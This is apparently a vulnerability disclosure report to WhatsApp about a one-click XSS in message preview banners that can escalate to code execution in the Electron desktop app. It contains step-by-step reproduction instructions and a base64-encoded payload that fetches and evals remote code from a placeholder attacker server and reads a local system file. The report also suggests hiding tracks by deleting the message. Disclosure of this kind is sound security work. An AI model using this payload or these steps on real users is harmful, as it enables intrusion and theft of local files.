WHATSAPP - One Click Persistent XSS AND RCE via URL filtering bypass using javascript: [HIGH RISK]

Product: Whatsapp Messenger
Platforms: Desktop (Windows)
Vulnerability type: RCE (Code execution)
Title: WHATSAPP - One Click Persistent XSS AND RCE via URL filtering bypass using javascript: [HIGH RISK]

Description

Complete details
By intercepting a request by Whatsapp's app to send a new message with a rich preview banner, and by replacing the banner's redirect URL with a malicious "javascript:" URL, one can bypass the URL filtering of Whatsapp and send an XSS in the form of a message that once is clicked runs the payload on https://web.whatsapp.com. The XSS counts as persistent since it will forever exist within that specific malformed message (however it does not count as persistent by the official definition which according to the persistency needs to be server-side based).

This entirely based on the previous report "**WHATSAPP - One Click Persistent XSS via URL filtering bypass using javascript: [HIGH RISK]**" but allows an RCE when it comes to whatsapp desktop application, since it is actually an Electron that is based on Chromium, and the latest version of the desktop application is based on Chromium 69, which means by simply using the XSS to load an already patched RCE that exists in Chrome 69 or higher - one can easily upgrade from XSS to local RCE.

This can easily be solved by simply filter out preview banners that redirect to "javascript:" links when loading messages on the receiving end on whatsapp web.
Also, never use old vulnerable versions of chromium as part of your products - latest only. Electron has moved to Chrome 78 - you should too.

There is a very serious risk in this vulnerability being open

Impact

HIGH RISK impact - using this, an attacker can easily run code on the victim's windows computer.

Scenario:

- V(victim) gets a message from A(attacker)
- V believes this is a legitimate message based on its very legitimate appearance and clicks the message
- [ANY-CODE] is immediately executed on https://web.whatsapp.com on V's computer
    - Ideally, the executed code does its evil stuff and deletes the malicious message to hide tracks and also opens the original twitter link to seem legit
    - The executed code from within the browser exploits a known (1-day) vulnerability in Chromium 69 (which is what the desktop app is based on) and remotely runs code on the computer of V.

Reproduction Steps

Users: A(attacker) , V(victim) [just 2 normal accounts]
Environment: private\group conversation between A and V where links sent by A are displayed as clickable to V (you should know the clickable link limitations of whatsapp)
Platform: whatsapp desktop app
OS: windows
Description and Steps:

1. Open https://web.whatsapp.com/ on Chrome
2. Log in to A's account (you will need a phone for this)
3. Go on a conversation with V
4. Open devtools
5. Open the "search in all source files" tab
    i. Using Ctrl+Shift+F on Windows for example
6. Look for "t=e.id"
7. Enter file and pretiffy it
8. In the file, search "t = e.id"
9. Set a breakpoint at that line
10. Now use the web application to send a message to V
11. Paste the following: https://www.instagram.com/p/B6UH5FmllOJ/
12. Wait for the preview banner to load
13. Press Enter and send the message
14. The breakpoint should hit. When that happens, paste the following to the console:
    i. [CODE]
        - *SEE CODE IN NEXT PAGE*
            - *B64 DECODE IT FIRST*
    ii. [/CODE]
15. Now let the code continue by pressing F8 and let the abused message send
16. Open whatsapp desktop app on windows
17. Log in to V's account (you will need another phone for this)
18. Go on a conversation with A
19. Click the message - either the banner, the image or the link is fine
20. See how the XSS alerts the content of a file from the local OS
    i. Using fetch("file:///XXX"); API
21. ATTACK IS SUCCESSFUL
22. I won't be demonstrating an actual RCE, but it is more than clear that it is possible based on the fact that the desktop app is based on an older version of chromium

dmFyIHBheWxvYWQgPSAiKGFzeW5jIGZ1bmN0aW9uKCl7Y29uc3QgciA9IGF3YWl0IGZld
GNoKCdodHRwczovL01BTEFJT0NVU19TRVJWRVIvV0FCLVBBWUxPQUQtMS5qcycpOy
Bjb25zdCB0ID0gYXdhaXQgci50ZXh0KCk7IGV2YWwodCkgfSgpKSI7CnBheWxvYWQgPSA
namF2YXNjcmlwdDoiaHR0cHM6Ly93d3cuaW5zdGFncmFtLmNvbS9wL0I2VUg1Rm1sbE9
KLyAiO2V2YWwoYXRvYigiJyArIGJ0b2EocGF5bG9hZCkgKyAnIikpJzsKZS5fX3hfbWF0Y2hl
ZFRleHQgPSBwYXlsb2FkOwplLl9feF9ib2R5ID0gJyBJIGxvdmUgY2F0cyEgdGhleSBhcmUg
dGhlIGJlc3QhIGNoZWNrb3V0IHRoaXMgY29vbCBjYXRzIG9uIGluc3RhZ3JhbSAnICsgcGF5
bG9hZDsKCi8vIGNvbnRlbnQgb2YgaHR0cHM6Ly9NQUxBSU9DVVNfU0VSVkVSL1dBQi1Q
QVlMT0FELTEuanMgaXM6CgovKgphbGVydChuYXZpZ2F0b3IudXNlckFnZW50KTsKKGFz
eW5jIGZ1bmN0aW9uKCl7CgkvLyByZWFkICJmaWxlOi8vL0M6L3dpbmRvd3Mvc3lzdGVtMz
IvZHJpdmVycy9ldGMvaG9zdHMiIGNvbnRlbnQKCWNvbnN0IHIgPSBhd2FpdCBmZXRjaCh
hdG9iKCdabWxzWlRvdkx5OURPaTkzYVc1a2IzZHpMM041YzNSbGJUTXlMMlJ5YVhabGN
uTXZaWFJqTDJodmMzUnonKSk7Cgljb25zdCB0ID0gYXdhaXQgci50ZXh0KCk7CgoJYWxlc
nQodCkKfSgpKQoKKi8=